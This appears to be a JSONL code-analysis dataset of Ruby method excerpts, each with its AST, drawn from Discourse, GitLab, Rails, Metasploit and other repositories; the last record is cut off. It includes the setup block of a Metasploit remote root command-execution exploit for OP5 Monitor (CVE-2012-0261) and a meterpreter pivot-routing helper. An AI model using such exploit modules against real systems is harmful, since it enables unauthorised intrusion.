{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/assigner.rb","start_line":472,"raw_source":"def invite_group(group, should_notify)\n    return if topic.topic_allowed_groups.exists?(group_id: group.id)\n    if topic\n         .all_allowed_users\n         .joins(\"RIGHT JOIN group_users ON group_users.user_id = users.id\")\n         .where(\"group_users.group_id = ? AND users.id IS NULL\", group.id)\n         .empty?\n      return # all group members can already see the topic\n    end\n\n    guardian.ensure_can_invite_group_to_private_message!(group, topic)\n    topic.invite_group(@assigned_by, group, should_notify: should_notify)\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"should_notify\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"topic_allowed_groups\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"all_allowed_users\"]},\"joins\",{\"type\":\"str\",\"children\":[\"RIGHT JOIN group_users ON group_users.user_id = users.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"group_users.group_id = ? AND users.id IS NULL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_invite_group_to_private_message!\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"invite_group\",{\"type\":\"ivar\",\"children\":[\"@assigned_by\"]},{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"should_notify\"]},{\"type\":\"lvar\",\"children\":[\"should_notify\"]}]}]}]}]}]}","id":"d9a6d6db-12a2-494f-af3e-391bc3591509"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/autoroute.rb","start_line":145,"raw_source":"def delete_route(opts={})\n  subnet = opts[:subnet]\n  netmask = opts[:netmask] || \"255.255.255.0\" # Default class C\n  Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)\nend","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_route\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subnet\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subnet\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"netmask\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"netmask\"]}]},{\"type\":\"str\",\"children\":[\"255.255.255.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"SwitchBoard\"]},\"remove_route\",{\"type\":\"lvar\",\"children\":[\"subnet\"]},{\"type\":\"lvar\",\"children\":[\"netmask\"]},{\"type\":\"send\",\"children\":[null,\"session\"]}]}]}]}","id":"da5ec051-3171-4626-b165-1d62d2d8b7f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/allowlist_migration_task.rb","start_line":162,"raw_source":"def parse_project_ids(ids_string)\n        return [] if ids_string.blank?\n\n        ids_string.split(',')\n          .map(&:strip)\n          .map(&:to_i)\n          .uniq\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_project_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_string\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_string\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"uniq\"]}]}]}","id":"b7e6f100-052e-4d0b-a3a8-adf0ac1b87f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":108,"raw_source":"def try_disconnect\n          if pool.connections.none?(&:in_use?)\n            pool_disconnect!\n            return true\n          end\n\n          false\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_disconnect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool\"]},\"connections\"]},\"none?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_use?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool_disconnect!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"970bdeaa-f1c4-44dd-a1b4-6c0560640465"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/deploy_keys_controller.rb","start_line":127,"raw_source":"def authorize_update_deploy_key!\n    if !can?(current_user, :update_deploy_key, deploy_key) &&\n        !can?(current_user, :update_deploy_keys_project, deploy_keys_project)\n      access_denied!\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_update_deploy_key!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_deploy_key\"]},{\"type\":\"send\",\"children\":[null,\"deploy_key\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_deploy_keys_project\"]},{\"type\":\"send\",\"children\":[null,\"deploy_keys_project\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"access_denied!\"]},null]}]}","id":"4fe13f85-3471-463b-8f1e-3bd8bfa750b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/milestones_spec.rb","start_line":31,"raw_source":"def query_milestones(fields)\n    graphql_query_for(\n      :project,\n      { full_path: project.full_path },\n      query_graphql_field(:milestones, search_params,\n        [\n          query_graphql_field(:nodes, nil, %i[id title])\n        ])\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"query_milestones\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fields\"]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"send\",\"children\":[null,\"search_params\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"sym\",\"children\":[\"nodes\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}]}]}","id":"88d0f608-ef47-4c4d-b707-f9ce526cfaa5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/op5_license.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OP5 license.php Remote Command Execution',\n        'Description' => %q{\n          This module exploits an arbitrary root command execution vulnerability in the\n          OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,\n          5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.\n        },\n        'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2012-0261'],\n          ['OSVDB', '78064'],\n          ['URL', 'http://web.archive.org/web/20140724161718/http://secunia.com/advisories/47417/'],\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 1024,\n          'BadChars' => '`\\\\|',\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'perl ruby python',\n                        }\n        },\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Automatic', {}]],\n        'DisclosureDate' => '2012-01-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptString.new('URI', [true, \"The full URI path to license.php\", \"/license.php\"]),\n      ]\n    )\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OP5 license.php Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an arbitrary root command execution vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,\\n\"]},{\"type\":\"str\",\"children\":[\"          5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Peter Osterberg <j[at]vel.nu>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-0261\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"78064\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20140724161718/http://secunia.com/advisories/47417/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"`\\\\|\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"perl ruby python\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-01-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The full URI path to license.php\"]},{\"type\":\"str\",\"children\":[\"/license.php\"]}]}]}]}]}]}]}","id":"2b04303e-1ce6-4d7c-84d9-d74504273e3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/audit_event.rb","start_line":61,"raw_source":"def initialize_details\n    return unless has_attribute?(:details)\n\n    self.details = {} if details&.nil?\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_attribute?\",{\"type\":\"sym\",\"children\":[\"details\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"details=\",{\"type\":\"hash\",\"children\":[]}]},null]}]}]}","id":"5e672fd2-27d3-412c-8dc9-f603304735cb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/bcf/issues_controller.rb","start_line":176,"raw_source":"def render_config_unknown_mails\n        @roles = ProjectRole.givable\n        render \"bim/bcf/issues/configure_unknown_mails\"\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_config_unknown_mails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@roles\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectRole\"]},\"givable\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"bim/bcf/issues/configure_unknown_mails\"]}]}]}]}","id":"6c7fb5d9-2e4f-4f6d-aa4e-cf0e91915bea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/crypto.rb","start_line":35,"raw_source":"def self.bytes_to_int(bytes)\n    bytes.each_byte.reduce(0) { |acc, byte| (acc << 8) | byte }\n  end","complexity_score":5.98,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bytes_to_int\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bytes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"each_byte\"]},\"reduce\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"acc\"]},{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acc\"]},\"<<\",{\"type\":\"int\",\"children\":[8]}]}]},\"|\",{\"type\":\"lvar\",\"children\":[\"byte\"]}]}]}]}","id":"16a82abf-a724-463e-894d-0fef656ce470"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/feature_support_matrix.rb","start_line":14,"raw_source":"def supports_nothing?\n    features.nil? || features.values.none?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_nothing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"features\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"features\"]},\"values\"]},\"none?\"]}]}]}","id":"e38bbf96-c6ce-4662-988e-45bce6c4cf41"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/encrypted_file.rb","start_line":89,"raw_source":"def writing(contents)\n        Tempfile.create([\"\", \"-\" + content_path.basename.to_s.chomp(\".enc\")]) do |tmp_file|\n          tmp_path = Pathname.new(tmp_file)\n          tmp_path.binwrite contents\n\n          yield tmp_path\n\n          updated_contents = tmp_path.binread\n\n          write(updated_contents) if updated_contents != contents\n        end\n      end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"writing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"create\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]},\"basename\"]},\"to_s\"]},\"chomp\",{\"type\":\"str\",\"children\":[\".enc\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tmp_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_path\"]},\"binwrite\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"updated_contents\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_path\"]},\"binread\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updated_contents\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"lvar\",\"children\":[\"updated_contents\"]}]},null]}]}]}]}","id":"f562be6a-a9fb-4307-8006-fa9fd4f966e3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/assertions/response_assertions_test.rb","start_line":85,"raw_source":"def test_error_message_shows_404_when_asserted_for_200\n        @response = ActionDispatch::Response.new\n        @response.status = 404\n\n        error = assert_raises(Minitest::Assertion) { assert_response 200 }\n        expected = \"Expected response to be a <200: OK>,\"\\\n                   \" but was a <404: Not Found>\"\n        assert_match expected, error.message\n      end","complexity_score":10.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_error_message_shows_404_when_asserted_for_200\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Response\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status=\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected response to be a <200: OK>,\"]},{\"type\":\"str\",\"children\":[\" but was a <404: Not Found>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"70f257b2-bc49-4be0-a848-e97bcca38da5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_revision_serializer.rb","start_line":101,"raw_source":"def acting_user_name\n    user.name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"acting_user_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"name\"]}]}","id":"c39a0db8-0bd3-4269-8e65-1847990b8c1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":418,"raw_source":"def remove_feature_flag_prompts\n      @remove_feature_flag_prompts ||= ::Keeps::Prompts::RemoveFeatureFlags.new(@logger)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_feature_flag_prompts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@remove_feature_flag_prompts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Keeps\"]},\"Prompts\"]},\"RemoveFeatureFlags\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]}]}]}","id":"2e9828fb-590e-4a2d-9433-722b2410cac4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/branch.rb","start_line":56,"raw_source":"def self.define_predicate(name, child_index: nil)\n            define_method(name) do\n              target_node = control_node.children[child_index]\n\n              # We don't use Kernel#Array here\n              # because it invokes Node#to_a rather than wrapping with an array.\n              if target_node.is_a?(Array)\n                target_node.any? { |node| node.equal?(child_node) }\n              else\n                target_node.equal?(child_node)\n              end\n            end\n          end","complexity_score":22.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"define_predicate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"child_index\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"control_node\"]},\"children\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"child_index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_node\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_node\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"equal?\",{\"type\":\"send\",\"children\":[null,\"child_node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_node\"]},\"equal?\",{\"type\":\"send\",\"children\":[null,\"child_node\"]}]}]}]}]}]}","id":"c5137481-18b8-4f79-9166-8f312bd0edae"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/follows_controller.rb","start_line":31,"raw_source":"def bulk_show\n    skip_authorization\n    render(plain: \"not-logged-in\") && return unless current_user\n\n    response = params.require(:ids).map(&:to_i).index_with do |id|\n      if current_user.id == id && params[:followable_type] == \"User\"\n        \"self\"\n      else\n        following_them_check = Follows::CheckCached.call(current_user, params[:followable_type], id)\n        if params[:followable_type] != \"User\"\n          following_them_check.to_s\n        else\n          following_you_check = Follows::CheckCached.call(User.find_by(id: id), params[:followable_type],\n                                                          current_user.id)\n          if following_them_check && following_you_check\n            \"mutual\"\n          elsif following_you_check\n            \"follow-back\"\n          else\n            following_them_check.to_s\n          end\n        end\n      end\n    end\n\n    render json: response\n  end","complexity_score":58.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_authorization\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"not-logged-in\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"ids\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followable_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"User\"]}]}]},{\"type\":\"str\",\"children\":[\